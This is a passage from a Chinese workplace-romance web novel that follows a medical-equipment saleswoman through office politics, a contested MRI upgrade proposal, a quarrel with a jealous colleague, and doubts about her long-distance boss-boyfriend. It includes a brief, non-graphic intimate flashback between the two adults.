“什么!”辛熙惊呼,“你们见家长了?爸妈都还不知道他呢。”辛熙为自己的爸妈打抱不平。
“不算是。他爸妈过来也没跟他打招呼,就刚巧碰上了,一起吃了两顿饭。”
这么巧吗?辛熙问:“那他人呢?”
“还在机场,飞机这会儿没起飞呢。”
“那我是不是耽误你了?”
“不,你救了我”。辛雅实在不想再回忆她这两天的日子,如果不是辛熙落地时给她发了消息,她找不到任何一个理由可以提前终止扮演一个准儿媳。她已经濒临崩溃。
余博文的父母无疑是好的,体面的处事方式,足够的退休金,他们甚至提出可以将老家的两套房子卖了,支援他们在京北换套敞亮的大户型,以便有了孩子后,老两口可以过来帮着带娃。
但这种好,让辛雅觉得倍感压力,“我完全有能力承担自己的所有消费,包括房子车子。对吧?”这种带有牺牲标签的给予,她不想要。
“是的,但会很辛苦,我是指,如果要养育孩子的话。”
两姐妹找了个安静的饭店吃饭,辛雅将一碟摆盘精美的小菜移到辛熙面前,“对。为自己想要的东西付出一些努力,我不认为这算辛苦。我承担我的,他承担他的,我们都不辛苦。可如果我们两个组成家庭,生儿育女,两个人变成多个人,就很难讲了。”
“所以他爸妈愿意补贴,这样你们可以少辛苦一些。”
“可如果我们依然是两个人,就用不着他父母把自己辛辛苦苦积攒了一辈子的积蓄拿出来了。”
“嗯......”辛熙思考了一会儿,“也许二老乐在其中?”
辛雅很难赞同,“我讨厌所有理所当然的牺牲和付出。”
“也不算吧。父母帮扶儿孙、晚辈孝敬长辈、夫妻相互扶持,这些都是必不可少的。如果人人都完全独立,那也太没人情味儿。我做销售后,有一个最深的体悟就是,人与人如果要产生联系,需得先建立一种有亏欠的关系。我给你一分,你回我两分,我再还你三分,这样才会有来有往。”
“你这大半年确实成熟很多”,辛雅说,“但这种理论是否也可以照搬到家庭关系里,我持保留意见。毕竟血缘早就注定,并不是非得需要这些。说到底,他们究竟是为了给我们减轻负担,还是为了在达到传宗接代的目的之前,麻木我们对现实压力的认知呢?”
“也许都有”,辛熙非常认真地对辛雅说,“你总是能理清头绪,并做出正确选择。所以,无论你的决定是什么,我都会一如既往地相信你,并永远站你这边。”
两人的讨论并没有产生任何有说服力的结论,她们彼此一直很清楚,她们从同样的父母基因里继承了完全不同的个性。
和而不同,彼此尊重。
“好了,说回你”,辛雅从自己的烦恼里暂时抽回精力,履行自己作为姐姐的职责,“你和他还没结束?当然这本不应该是一个疑问句。你怎么打算的?职场恋爱,可没那么容易。”
“我们说好了,不影响工作。”
辛雅真想翻个白眼,再敲着对面的脑袋耳提面命,“天真。如果是他跟你这么说的,那只能说明他想白嫖。抱歉,这个词不妥当。我是想说,如果这样,你非但得不到任何好处,还极有可能因此失去一些本该属于你的机会,就因为他要保持自己的立场清白。”
“是我说的。我希望我们能尽可能的公私分明,这样对其他人也公平。”
辛雅第二次说了她天真,“怎么可能分得清楚。职场上所有的机会,是所有,没有例外的,全部都不会非谁不可。那么为什么给你不给她,或者给她不给你呢?总有人会因为各种原因,获得优先。譬如,态度上的忠诚、背后靠的资源、甚至可以只是某个上位者的欢心。”
辛熙放下筷子,真的认真地思考了很久,“某种意义上,我认可这种说法。但你知道的,即便是做了销售,我也没有多大的壮志雄心,说非要做多大的业务量或者赚多少的钱,所以就现阶段而言,我认为我犯不上改变自己去顺应某些规则,那就先做到问心无愧吧。”
“道德感太强,在职场可不是好事。”
“知道。”
新一年的第一个工作日,原本并不需要到公司。姜渠兼任北区总监,却又常常各地飞,北区的例会就经常改为线上,但这天不同寻常,姜渠提前发了通知,让能回公司的都尽量回公司,而对所有经理的要求是必须到场。
辛熙刚到公司,就察觉到了异样。几个经理分作不同的小分队交头接耳,赵志远表情凝重,一到公司就叫走了几个老销售。
当然没有辛熙啦,她知道自己就是派系斗争里最最无足轻重的砝码,站哪一头,都不影响天平的摇摆。
东北三省的经理蒋星甩着利落的短发敲了敲辛熙的桌面,“宝贝,帮姐连一下会议室的投影”。
辛熙自然乐意。
连投影的时候,蒋星同她的闲聊,“你现在在负责津南吧?我记得你上回还问过我常乐的事。对吧?”
辛熙点点头,“只有津南地区的一部分客户。上回圣南的单子还都是多亏了蒋星姐提供的信息呢。”
蒋星不以为意,“行了啊,我就说了几句话,你都谢我多少回了。”
“应该的嘛”,辛熙拿起遥控器打开投影,“应该可以了”。
“真棒”,蒋星试了试,确认没有问题,“
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要不说,整个麦高我最喜欢你呢”。
辛熙抿嘴一笑,当时谢了她的夸奖。
“你知道今天的会,是为了什么吗?”蒋星示意她看外面的古怪气氛,“有人的梦要碎咯。”
辛熙不太理解。
蒋星一副等着看好戏的样子,说:“你们赵经理盼了那么久的位置,今天彻底落空。新任的Director 马上on board。你知道是谁吗?”蒋星缓缓吐出两个字,“师尧”。
那就并不意外了,销售大练兵时,姜渠对师尧的青睐并没有避开人,只不过原以为是要在南区升他。
“所有人都心知肚明的,偏赵志远舍不得他的春秋大梦。”
辛熙看着赵志远在外面忙碌的身影,陡然生了几分悲凉之意。也许赵志远并不是不愿意清醒,而是他没有选择。后浪一潮比一潮高,但他已经习惯了他的工作模式,他或许试图改变过,或许进步了,但后浪一拍,他还是无力招架。
“那赵经理......”
“还是当他的经理呗。如果他坐得住的话......”
辛熙回到自己的工位,脑子里想着蒋星最后的那句话,她说:“咱们这位姜总,看着年纪轻轻,心思深得咯,职场政治这套,玩得贼溜儿。”
蒋星并没有明确表达自己的喜恶,虽然她和辛熙的关系一直不错。她愿意给辛熙一些提醒,也只基于这些和她自己的关系不大。
辛熙都明白。她打开微信,想给姜渠发消息。她有很多疑问,但又无从问起。尤其,如果是关于工作,她此刻的任何疑问都已经越过了自己的本分。而如果是关于私人情感,她能问的,也只是他什么时候回国,以及为什么延迟了回国的行程?但在此时此刻,显然不便讨论这些。
邮箱传来提示音,辛熙点开邮件,新的客户划分已经确定。
卢湘在Teams上给她发来一个大大的点赞,很明显,是基于这封邮件。津南的几个大客户划给了辛熙负责,包括她已经有合作的市妇幼、圣南、津津儿童、胸科......等等,还有百睦集团?和其他几家三甲公立医院?
卢湘说:听说张鑫之前就去找过姜总闹,但姜总没理。我看这场地分配,张鑫是偷鸡不成蚀把米。
辛熙在此刻不得不联想到林早的那句“你想做销售就让他把大客户都划给你”,虽然她并没有提这样的要求,但她不得不正视这其中的公平性,但得承认,作为既得利益者,她的第一反应是带着虚荣心的雀跃,只不过,后天教育的敏感性紧随其后,带来了负罪感。
辛熙拿着手机,走到安全出口,拨通了姜渠的电话。
姜渠的语气里带着几分意外欣喜,“终于想起给我打电话了”。
“我刚收到了场地分配的邮件。”
“是嘛?”
辛熙期待姜渠在她提出疑问之前,感应到她的问题并做出解释,这样,她就不用再“得了便宜还卖乖”。可惜他并没有,可能太平洋的距离影响了讯号的发送,可能他那边正值深夜影响了他脑电波的活跃度。
“有什么问题吗?”姜渠问,“如果有,可以找你的直线经理谈。”
“我想知道为什么会这样划分,整个津南的客户几乎都给了我,我,觉得有压力。我们说过不影响工作的。”
姜渠在电话那头,顿了顿,“会议马上开始了,这个问题,等我回来再聊”。
57. 第 57 章
姜渠通过越洋会议做了简短的介绍,他们都是讲究效率的人,自然不会花太多时间在做表面功夫上,姜渠说:“还是那句话,市场把危机公平地附加给所有参与者,但也一定会有少数人找到机会。全球的投资者都对中国寄予厚望,今年我们要在实现业绩双位数增长的同时,助力实现精准、优质的智慧医疗体系建设,积极履行社会责任。其他的,交给师尧,期待北区在他的带领下交出满意的成绩单。”
姜渠说完话,匆匆下线,这和他一贯的作风不同,如果不是有事忙,他大概率会再多听一下底下的汇报。
卢湘一脸八卦地给辛熙发消息:你猜姜总为什么这么快下线
辛熙:有事忙吧
卢湘:美国现在是深夜,他有什么可忙的
辛熙:?
辛熙知道,卢湘已经迫不及待地要分享她所听来的八卦,而这大概率对于自己这个隐藏的“女朋友”角色不是好事。
果然,卢湘的消息紧跟着跳出来:据可靠消息,姜总的初恋是他在美国的校友。夜深人静,故人重逢,久旱逢甘露。
卢湘点到而止。但这让辛熙联想起刚才给他打电话时,那头传来的浪漫的背景音乐,这个点,他应该在一间高品质的酒廊,和一群或某个人,享受着美酒佳肴。
说好节后就会回来的人,行程却一改再改,真的是旧情难忘吗?辛熙不敢深想。亲密关系里的信任就像是砌墙,需要一砖一瓦地积累,可他们之间的墙牢固了吗?足够高了吗?
昨日她在某社交APP上刷到一张大合照,一群浑身精英气质的男女在一张长桌前举杯,姜渠无疑是醒目的、耀眼的,辛熙一眼就看到了他。照片上有几张熟悉的面孔,施琪、徐进、佟歆亚。他们并没有扎堆挨着,很显然,他们都在自然且松弛地social。照片的底下是一些忆青春往昔的感叹,和来自不同国家IP地址的邀约,可以猜测,他们分居在全球各地,但依然情谊深厚。
辛熙给这个照片点了赞,第二天这个APP就将该账号之前的一则动态推送给她:耐心点就会再重逢。辛熙这才察觉到,这是佟歆亚的账号。
这个愚蠢APP,有着不通人情世故的算法,将二人标注成了可能感兴趣的人。
她们互相感兴趣吗?难讲。就像,辛熙认为姜渠不至于在恋爱关系存续的阶段,就和前女友勾勾搭搭。但她很难说,如果姜渠在未来的某一天要重新回到美国生活的话,会不会让自己变成前女友。他选择的或许只是更轻松的恋爱方式,而非需要特定的对象。
老实说,姜渠因为异地而放弃一段恋情的做法,在她这里有些减分。
师尧曾在京北做过三年的省区经理,对这里的一切驾轻就熟,麦高的人员流动率又低,在座的,几乎有大半与他相识。只不过,曾经平起平坐的伙伴归来时却成了顶头上司,多少还得给人些时间去适应。
师尧并没有多寒暄,他和赵志远的处事风格完全不同。如果是赵志远,他一定会先请所有人吃吃喝喝好一顿,然后再说些感谢的谦词,表达自己并非追逐权势地位之辈,然后说“虽然我升职了,但咱们还是照以前一样相处就行,不用太把我当老板”。但师尧不是,他开门见山,谈工作要求、任务分配。李元等想和他叙叙旧,也被委婉拒绝。
辛熙当然更喜欢平易近人的上司,但很奇怪,这类型的人在职场似乎很难走得更远。
辛熙在发神的间隙忽然听到师尧问:“津南二院,是哪位销售在负责?”
辛熙看了眼赵志远,他却只低着头,双手交错,并不理会,便回答:“现在是我。”
“去年丢了标?为什么?”
“价格。”
“只是价格吗?”师尧似乎并不太相信这个结论。
这原本不是她的责任,她只是在作为销售支持时协助当时的张鑫投了标,但张鑫不接话,她只好自己汇报,“津南二院上次招标的主要设备里,沪星和咱们的原厂设备数量几乎各占一半。从公开的中标信息显示,我们在非原厂设备上的服务收费略高于沪星。”
“略?”师尧觉得这个字很讲究,如果只是略高,那能不能是决定因素就有多方面的考量了,“那之后有其他过合作吗?”
“暂无。沪星和他们签的合同有五年”,辛熙犹豫片刻,“但最近可能会有个机会”。
“津南二院有两台麦高的1.5T核磁,使用寿命都已经超过了12年,在高病人量的时候,可能会因为扫描效率等问题的不足,而造成病人量的流失。”
“可能?”师尧换了个坐姿,“你们给姜总汇报的时候,也用这么多假设性的词语?”
辛熙只得重新斟酌用词,“津南二院附近的两公里内有医学院附属医院及百睦集团下的私立医院,这两家都有核磁。如果津南二院的效率低,自然会有着急做检查的人换到别家去。”这些都是她在实地拜访时真实遇到过的情况,她之前向赵志远汇报过,但赵志远认为他们并不能多做什么。
“说说你的方案。”
“我通过线上数据模型匹配最新的产品服务信息,给津南二院订制了一套升级方案。我算过了,升级后每天扫描时间可以缩短四个小时,除去病人上下床及摆位的时间,每天至少可以多扫描20个部位,乐观估计可以为医院增收五百万。”
“如果我没理解错的话,你说的升级方案,并不是麦高现有的。”
“系统升级、AI集成、介入MRI等分模块的,其实都是有的。我之前在培训课上听交付团队的专家说过,麦高今年会推定制化的服务。”
师尧问何耀丹,“何工,这方面你是专家,你认为可行吗?”
何耀丹大概没想到辛熙会这么大胆,新技术的碰撞大多时候只是吃力不讨好,“听之前部门的同事提过,他们确实在进行这方面的探索,做好了固然是好的。事实上,姜总和我从去年四季度开始也在做场地信息和解决方案的匹配,预计会在春节后正式上线。”
何耀丹问辛熙:“你的方案确实可行吗?据我说知,这些细分模块的专业性很强。”何耀丹并不认为辛熙能全懂。
辛熙回答:“是的,所以每一块我都找产品部的老师确认调整过。”大半年的时间,她磨了对方无数遍。这个没空,就去问那个,辛熙觉得现在整个产品部的人看见自己都想躲着走。夸张一点说,她觉得自己下一步就可以转岗到交付中心去了,如果他们允许她只负责现在这个单一产品线的话。
“但是辛熙,你是不是忘了汇报个最重要的信息?”张鑫冷不丁的发言,吸引所有人的注意力,他清了清嗓子,摆出对师尧的恭敬,“是这样的,师总,设备销售的同事也一直在跟这单,他们给客户提供的方案是新购一台3.0T核磁,直接将这两台1.5T备用或作废。站在公司的角度,我们不好再推升级的。”
这确实是个现实问题。一台设备动辄千万,而一个升级,即便是全方位的升级,价格也不过设备的十分之一。站在公司的角度,根本不是可以摆在一起二选一的。
“这个情况你了解吗?”师尧问的是辛熙。
“之前是有这个情况,所以我并没有直
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接和客户聊过这个方案。但津南二院节前在网上公布了消息,他们在河东区拿下来一块地儿,要建新院区。买地和建楼都需要投入大量资金,我找客户打听过,前期除了资本投资外,老院区日常运营的大部分收入也应该会投进去,所以新购设备的计划应该是要搁置到新院区建成之后。”
“搁置了,谁给你说,吴院长还是董书记?还是只是你的个人揣测?你才做多久的业务,你在医院的关系倒是比售前的同事硬了”,张鑫略带讽刺地说。
辛熙不想同他在会上吵架,而是继续对师尧说:“师总。我问过产品部的老师,升级后的设备可以延长5至7年的使用寿命,而客户预计可以在1至2年的时间内收回成本,对于津南二院这种情况,是最好的选择。既不耽误新院区建设,也不影响现在的运营。”
“真不知道,你是在给谁打工。”
张鑫还想同她争,但师尧已经叫了暂停,“这样,辛熙,你把你的定制方案发我。会后我会找姜总,看是否可以找个时间和司徒总他们聊聊。”
“好的。”
师尧又再问了其他场地的很多信息,快结束时,何耀丹主动提出,“师总,我想借这个时间,和我们北区的同事分享一下新的解决方案模型,也收集一下大家的意见和建议,做后期的调整优化。”
师尧做了个“请”的动作,他说:“姜总之前跟我说过,想把北区作为试点。既如此,何工就和大家分享一下背后的运行逻辑和使用规则吧。”
“好的。”
何耀丹在演示完成后,有人提出疑问,“这不和移动工作台上已有的线上数据模型差不太多嘛?那个还没熟悉怎么弄呢,又来一个。”说完还瞥了辛熙一眼,好似这又和她有关系一样。
何耀丹解释说:“已有的模型是基于客户的情况做基础分析,现在这个,匹配了产品知识和实时数据监测,可以调动资源生成解决方案。”
师尧点了点辛熙,“那这个,其实就是把辛熙为津南二院做的线下工作搬到了线上完成。”
“是的”,何耀丹默了默,“所以辛熙能在这之前做到这一步,我很意外”,何耀丹又转头对辛熙说:“辛熙,你很棒。但如果你做之前问一下我,就不用那么辛苦了。”
辛熙微微颔首,这话听着,怎么不像夸奖,倒像是在变相的说我傻,只会用笨办法吗?辛熙没有多说,她有些疲于辩清他人话里的真实意图。
会议结束后,蒋星在洗手间碰到辛熙,对她说:“我终于知道张鑫为什么总和你过不去了,虽然他人不怎么样,但眼光一直很毒,你,将来绝对会挑战他销冠的位置!”
“星姐,你可太看得起我了”,辛熙并没当真。她将手放在烘干机下,烘干机的声音压住了心底某种被挑起的志气。
蒋星说:“张鑫这人吧,工作能力是有的,但格局不行。他能做到销冠,无非是因为他比别人敢做、敢抢,一切以利益为先,也不在乎吃相难不难看。”
辛熙沉默着,有点意外蒋星对自己的坦诚,这是她之前做销售支持时所没有的待遇。
蒋星笑笑,“你就当我爱八卦,随便听听。职场也是个利益场,有谁能全身而退呢。我可是很期待你的。”
至于为什么,蒋星不打算现在告诉她。
有人说做销售的门槛很低,只要脸皮厚,能说会道会忽悠,但事实是,如果你专业性更高,客户对你的认可度也会更高;如果你同时能做到很真诚,或者你忽悠人的技巧熟练到没有破绽,那么几乎可以在抛除玄学影响外,在销售业务上所向披靡。
58. 第 58 章
蒋星的话对辛熙并没有多大影响。她并不想超过谁,或拥有什么“销售冠军”的头衔。就像以前考大学,她的目标只是想上姐姐读的那所大学,而非追求名校背景。她做销售,也只是想做销售,而非要做到行业的top。
辛熙从洗手间出来后碰到了简运,她同他打招呼,但他脸色极不自然地避开。自从她说自己有男朋友了后,简运再没同她说过话。有事需要帮忙的时候,也是去求着卢湘,而不再找她。
两个人的关系很尴尬,辛熙无奈,但她是想珍惜他们之间的友谊的。
辛熙追上简运,语气尽量平常,“请你吃饭啊,我还有点工作上的问题想请教你呢。”
“有什么问题问你男朋友去”,简运脱口而出。
他的语气过份生硬,半点玩笑的意思都没有,辛熙的笑容僵在了唇角,悻悻道:“那,好吧”。
卢湘看到了这一幕,端着水杯从工位上悠过来,“他还不理你?这男人心眼忒小了吧,这是因爱生恨了?”
辛熙苦笑,“哪有。我俩真就是纯友谊,他就是气我上次没帮他做合同。”
卢湘才不相信她的解释,但这并不是她最关心的。她用手肘碰了碰辛熙,悄声问:“你男朋友是谁啊?是咱公司的吗?什么时候带出来看看咯?”
辛熙被她的直白吓一跳,吞吞吐吐,“这,这,有什么好看的啊,两只眼睛一张嘴儿。”
“装,又给我装是不是?你也太不真诚了吧?”卢湘不打算放过她。自从听说这事儿后,她在微信上问过辛熙好几遍,但都被她岔开了,今儿好不容易逮到本人,可不得问到底,“说说,说说嘛,我和李元的事,我可全都跟你讲了,那礼尚往来,你瞒着谁都行,怎么能瞒着我呢。”
“就......”
辛熙的话还没说完,又被突然出现的简运打断,“不是要请我吃饭吗?走啊。”
“得嘞”,辛熙如获大赦。
食福居的临窗卡座,一桌的美餐没动几筷子,辛熙觉得浪费,但简运不想说话,她也没什么心情多吃。等到结账的时候,辛熙用手机扫码付款后,才见简运抬了下眼皮,睨视她,“怎么不直接用你男朋友的会员卡付?他没给你吗?”
辛熙的脸上掠过一丝不悦,嘴唇紧闭,她想缓和与简运的矛盾,但不代表她有义务接受他的诋毁。辛熙站起身,“看来这顿饭我们都吃得不太开心,那就早些散了吧”。
“你不问问我怎么知道的吗?”
“什么?”
“你的男朋友。咱们姜总是不是有点太抠门了,连个食福居的会员卡都没送你吗?”
辛熙的表情凝固,“你......”
简运继续说,他似乎对她有深深的抱怨:“你之前在团队里一直是不显山不漏水的,我当你只是单纯、内向。没想到啊,你那是心比天高,只想攀那最高的枝儿,根本不屑和我们这些小销售多说话。”
辛熙总算知道他这段时间对自己流露出的鄙夷是因为什么了,她很生气,她在直接扭头走掉,和将桌上的茶杯波到他脸上之间倾向于后者,但食福居离公司太近,很难保证不传出什么谣言。
十秒钟之后,她的情绪稳定下来,辛熙重新坐回位置,决定以牙还牙。他以语言来伤她,她自然可以以语言来回击,她可不想当圣母。
辛熙说:“简运,你知道吗?每一次他们开你和我的玩笑的时候,我都特别想把桌子掀了。但我一次都没有那么做。之前我一直以为我是胆小,怕冲突,社交求全、不得不忍,但你刚才的话让我意识到,原来,我的的确确是看不上你们大多数人,所以不屑与你们多说!”
简运有些难以置信地看着她,微张着嘴,半天不知道回话。
辛熙继续说:“你们不懂得尊重女性同事,连义务教育阶段就应该培养出来的基本素养都不达标;你们素质低且趣味恶俗,好像聚会唯一的嗨点就是那些上不得台面的荤笑话。通过占些口头上的便宜,就能安慰你们面对生活的无力感了吗?在做业务方面,你们唯一的先天生理优势,也就是脸皮够厚。不,不光是工作上,其实你们走遍天下,靠的都只有这张厚脸皮。”
“辛熙,你......”
“我还没说完呢”,辛熙将原本准备波他脸上的茶水一饮而尽,何必浪费这杯好茶,“你还好意思生我气?简运,我一直在给你留面子,你看不出来吗?你的脑浆是被53度的酒精稀释掉了吗?你说喜欢我,不对,你甚至都没有说过一句,我就当你刚才的表现是因为爱而不得。你觉得你配吃这醋吗?”
“我以为你知道。”
“你以为个P~”辛熙险些将脏话骂出口,“你所谓的以为,只是不想承担被拒绝的风险。就像你看上某只基金,但你不确定盈亏,所以一直不舍得投钱,等现在这只基金下市了,你又在这嚎~嚎给谁看!这时候,你们的厚脸皮倒是又跑出来加戏。”
辛熙一口气说完,觉得痛快极了,“说到底,这顿饭之前我是把你当朋友的,不然不会跟你说这些。”
简运对此无意反驳 ,“但你跟姜渠,你们的关系你不能否认”。那天在销售大练兵的晚宴上,他亲眼看到辛熙和姜渠在那个关灯的房间里待了很久。
辛熙笑笑,“简运,第一你没有任何资格质问我的情感问题。如果是作为朋友的关心,那么在刚才,你也已经失去了做我朋友的资格。第二,任何头脑清醒的女性在选择交往对象的时候,都一定会希望对方是优秀的,包括但不限于人品、外貌、工作能力、家庭背景,但这种优秀,不是和其他男性比较出来的。如果仅仅是因为某位女性选择了某种程度上较为优秀的男性作为对象,就要背一个物质、世俗的骂名的话,我想,这大概又是你们的厚脸皮在发挥功效。好了,我说完了。”
简运在这个过程中转换了很多种情绪,但话到嘴边,只有一句,“我就想问,我们真的不可能了吗?如果我更加努力的工作,等我到姜渠那个年纪,我不一定会混得比他差。”
辛熙无语,“你不应该期待你在侮辱了我之后,还要我感受到并认可你的情意。”
简运有些急了,“可就算麦高没有明文禁止办公室恋情,你以为你和他就一定可以长久下去吗?姜渠是什么人,你有信心待他新鲜感过去后还会对你好吗?”
辛熙觉得好笑 ,一个说喜欢你的人偏还要贬低你,“不劳费心”。
辛熙在回家的公交车上,想起和简运的对话,心底是暗火燎原。似乎在所有人的认知里,她都是那个会被姜渠辜负的人,或早或晚。辛雅劝她放弃占有欲,享受使用权;林早说要趁浓情先谋
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重利;而她,从来没有哪一次有底气反驳他们说:我们很好,很相爱,会天长地久。
窗外忽然下起大雨,这让京北的冬天彻底失去热气。雨滴拍打车窗的动作是粗鲁且冒犯的,这让辛熙有些后悔没有打车。如果此时她在一辆私家车上,她才能有独立而私密的空间继续完成这段伤春悲秋。
公交车经过一家4S店,看起来门可罗雀,辛熙鬼使神差地跳下了车,然后仅用了半小时不到,花光了全部的积蓄,定下了自己人生的第一辆车。
辛熙抱着4S店送的一大束鲜花回家,黎英以为她有了追求者,盯着她追问了好久。辛熙并没有解释这花的来源,她用一种模棱两可的答案敷衍过去,并将鲜花插在了客厅中央。
手机铃音响起的时候,她正在研究买车险、租车牌这些事情。天知道,一个冲动之举的背后会跟来多少的麻烦事儿。但期待新车到手的心情,又完完全全抵消了麻烦感,也许,这就是甜蜜的负担吧。
电话是叶眉打来的,她俩在大练兵的时候建立了深厚的友情。但电话里,叶眉的兴致却并不高,抱怨说师尧这一天都没有想起来给她打个电话。
“师总今天和我们开了一天的会。会后好像还和其他部门有事情要商谈呢。肯定忙。”辛熙只能这样劝她。
“再忙,能打个电话、发个微信的时间都没有吗?谁信啊。”
“哈哈,如果你不信的话,你这个电话就不是打给我,而是直接打给师总,质问他了。”
叶眉羞涩一笑,“我这不是,不想表现得太黏人嘛。真烦死了,这异地恋可真没当初想象的好谈。”
“当初不是你极力劝他来京北的吗?”
“我后悔了。”
“啊~”
“我只是不想成为人家事业路上的绊脚石。不然等哪天吵架,都没底气。到时候他说,我都为你放弃了什么什么机会,你还想怎样的时候,我的一些正常的要求都会变成苛刻条件。”
“对”,辛熙非常赞同,“那优雅大度的眉眉,现在在烦恼什么呢?”
“说是这么说,可谁谈恋爱不想朝朝暮暮啊。”
辛熙在电话这头狠狠点头,想起了自己那个经常见不着人影的男朋友,“男的,是不是就没咱女生这么......喜欢黏在一起啊?”
叶眉语气上调,“嘿嘿,你也有狗了?”
辛熙没有全盘否认,只说:“嗯......根据历史经验和周围人的实际案例总结的,没有指定性。”
叶眉并未继续追问,这让辛熙松了口气。
两个人又再天南地北地胡扯了好多,谈到工作时,叶眉问:“师尧有没有欺负你啊?”
辛熙玩笑,“有啊,他今天骂我可惨了。怎么地,眉眉要帮我出气?”
“我就知道”,叶眉还真有些信了,“他就这性格,越是关系好的,越装得严肃,生怕谁说他任人唯亲似的。也怪我,话多了。”
“嗯?”
叶眉带着歉意,“我跟他说了咱俩关系好,让他多照顾照顾你。结果也被他骂了。”
辛熙捧着肚子大笑起来。
“诶,好了,好了,不跟你聊了,师尧给我打电话了,我帮你骂他去啊。”
辛熙的“别”字还没说完,就已经被挂断了电话。
59. 第 59 章
结束了和叶眉的通话,那份因为被男朋友忽略而产生的烦闷感扩散到了京北。世间的情爱大多相似,没有人能得心应手。
辛熙再次点开了那个不通人情世故的APP,她反复刷新了几次,但都没有刷到值得关注的动态。果然,人工智能要替代人类的征程依然很遥远,复杂的人性难以靠算法揣摩,就像她此刻,既想要刷到某位被她标记成“不太感兴趣”的人的动态,又不愿意去历史浏览记录里刻意找寻。
她觉得自己的行为荒唐又可笑,正准备关手机的时候,页面底部突然跳出新消息,辛熙眉心一跳。正如她所预料的,消息是佟歆亚发的,但她只是推送了一则动态过来,并无他话。
辛熙这几天都没怎么睡好,她的工作有了较大的调整,更具挑战的销售目标,和尚未攻略的诸多客户。北区新招了一名实习生做销售支持,接替她手上的这部分工作,但卢湘不想带新人,她说既然是要接替辛熙的工作,自然就该辛熙做mentor,辛熙只能暂时两头跑。
她每周会留两天时间到京北办公室教实习生,虽然销售支持的工作没有专业的技术含量,但熟能生巧需要时间。尤其,刚出校门的孩子,甚至连一封邮件,主送谁,抄送谁都没有概念。
梁朵丽发完今天的最后一封邮件,揉着眼,可怜兮兮地问她,“姐,邮件已经发了,也抄送给你了。我可以下班了吗?”
辛熙点开,粗粗看了下,扶额,“你这称呼......”
“怎么了,已经尊称了啊”,梁朵丽不解。
辛熙看着那个被特意加粗加黑的“姜哥”,不知道该笑还是哭。
她刚做销售时,经验全部来自网友教学,伸手不打笑脸人嘛,逢人就喜滋滋地叫哥叫姐,倒也加了不少人的联系方式。嘴甜人乖,再时不时送点小礼物,请喝点奶茶咖啡,就以为巩固了客情关系。可真到需要谈业务的时候,不是“妹子你不要急”,就是“哥人微言轻,左右不了上级的想法”。
那段时间,她很苦恼,也许她真的不适合做销售,她不止一次产生过这个想法。
转折点出现在姜渠的突然造访。
那天她通过江准的客户联系上了百睦集团的采购主任吴道光。吴道光是个很有江湖气的人,她一口一个“大哥”,“仰仗大哥提携”之类的话术,说得自己嘴巴发木。
“这就是你做业务的方式?”姜渠俯身其上,原本正在她敏感部位揉搓的手快速移到她的腰间,狠掐了一把,报复她的三心二意。
辛熙微微吃痛轻喘,忍着身心的颤抖,将最后一句“谢谢吴大哥,改天请您吃饭”发出去后,才能专心面对当下的震颤。
“不然呢”,她咬着下唇,脑中的清醒意识所剩不多,但她还是察觉了姜渠的不满。几乎是源于本能的,她伸出光洁的手臂勾住他的脖子,将他拉近,企图心是完全没有包装的,野蛮又原始。
姜渠说:“你想要人脉,但人脉不是你混了上几百个饭局,或者加了无数个微信好友。人脉的本质是价值互换,而价值需要有不可取代性。”
“昂~”辛熙在他极富挑逗性的动作下,惊呼出声,“确定要现在聊这个吗?”
结局是,他们不光聊了,也做了。
姜渠给她分析人性、利益、策略技巧,他说做乙方不能低声下气,要从服务意识的固定思维中跳出来。你不是在求客户为你的业绩买单,而是通过资源配置,在为他们提供最具性价比的专业解决方案。你售卖的仅有你的知识和产品,而友好的态度至多是基于个人修养,而非对对方有所求。
他说完一句,就要确认她听进去了。如果她回复得含糊,他便会加大力度,迫使她哭哭唧唧地求饶。
那是一个极度美妙的夜晚,知识以奇怪的姿势进入她的脑子,她身心舒展。
辛熙对实习生说:“朵丽,是这样的,在职场不光要尊称,还得尽量使用正式化的用语。例如称呼对方的职位,某某经理某某总。在外企呢,如果对方有英文名,我们也可以直呼其英文名。但哥啊,姐啊,这种日常化的称呼,平日用用还行,在邮件里最好避免,你觉得呢?”
“知道了,那......”梁朵丽低下头。
辛熙并非责怪,“下次记住就行,你先下班吧,今天不是有约会吗?”
“真的吗?”梁朵丽明显开心起来,“谢谢姐姐。我一定要跟利源哥哥说,我遇到了一位特别美丽善良的师父。”
“去吧,玩得开心。”
辛熙看着梁朵丽提着小巧精致的手包,一蹦一跳地离开办公区,奔赴浪漫的约会,她不由得心生羡慕。这是她曾经所憧憬的,到点下班,下班约会。
但此刻,她扭了扭酸疼的脖子,希望被自己好吃好喝地养了二十多年的身体争点气,再坚持坚持,她还有一大堆事情要在今日搞定。
“好吧,我这么日理万机的,应该会不少股东正在替我享受生活吧”,辛熙喃喃自语。
盖在桌上的手机忽然震动起来,辛熙被惊了一跳,下意识地往角落里的摄像头望去,不至于吐个槽都要被监控吧?
电话是姜渠打来的,听说当初司徒总挖他过来的时候是给了他股权的,这么一想,辛熙更心虚了。
“您好,姜总”,辛熙清了清嗓子,拿出公事化的口吻。
“你现在在哪儿?”
“我,在公司啊。”
“这个点了,还在公司?”
辛熙没有解释,她不想将这句话里浅薄的关心挑出来自我感动,“是的。您有什么吩咐吗?”
姜渠却问她,“你,心情不好?”他只能暂将她的疏离归咎于此。
“谢姜总关心,我只是现在还有些工作要处理,您要是......”
电话那头的姜渠,轻拧着眉,“那你有时间检查下实习生提交的申请吧,金额有问题。如果就这么流转到财务部,影响不好。”
“好的,姜总。”
辛熙没再等姜渠的话。她的情绪从看到那则动态之后,就没再好过。是佟歆亚和元如苏的合照,准确地说,旁边还有一个正在打电话的姜渠的侧影。他们在一起聚会,优雅的餐厅,氛围看起来温馨又浪漫。世界那么大,元如苏在家乡没能见到的儿子,倒在异国他乡凑一起了。
她真应该替他们高兴。
元如苏在这则动态下评论,说这是一个非常难忘的夜晚,感谢佟歆亚帮她完成了多年的夙愿,很期待下次再相聚。
辛熙完全可以理解元如苏会有多感动,毕竟她亲眼见过这位母亲的深切期盼。姜渠是看在佟歆亚的份儿上,才终于肯见她了吗?言情故事的结局,似乎就是到此圆满收尾的。
辛熙拍了拍自己的脸,让自己清醒,她需要先解决姜渠交代的工作问题,才能解决他带来的情感问题。
辛熙在工作台上点开梁朵丽做的付款申请,梁朵丽才到岗一周,内部系统的权限还没申请下来,就先暂时用的辛熙的账户登陆。两百万的人民币金额,她填成了美金。这种明显错误,一般会在某个审批阶段被恰巧发现,然后打回重申。偏这回,前头的几个审核人都忽略了。或许是基于对辛熙以往认真仔细的工作态度的认可,或许,是天晓得什么原因的阴差阳错,总之
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全无一人发现。
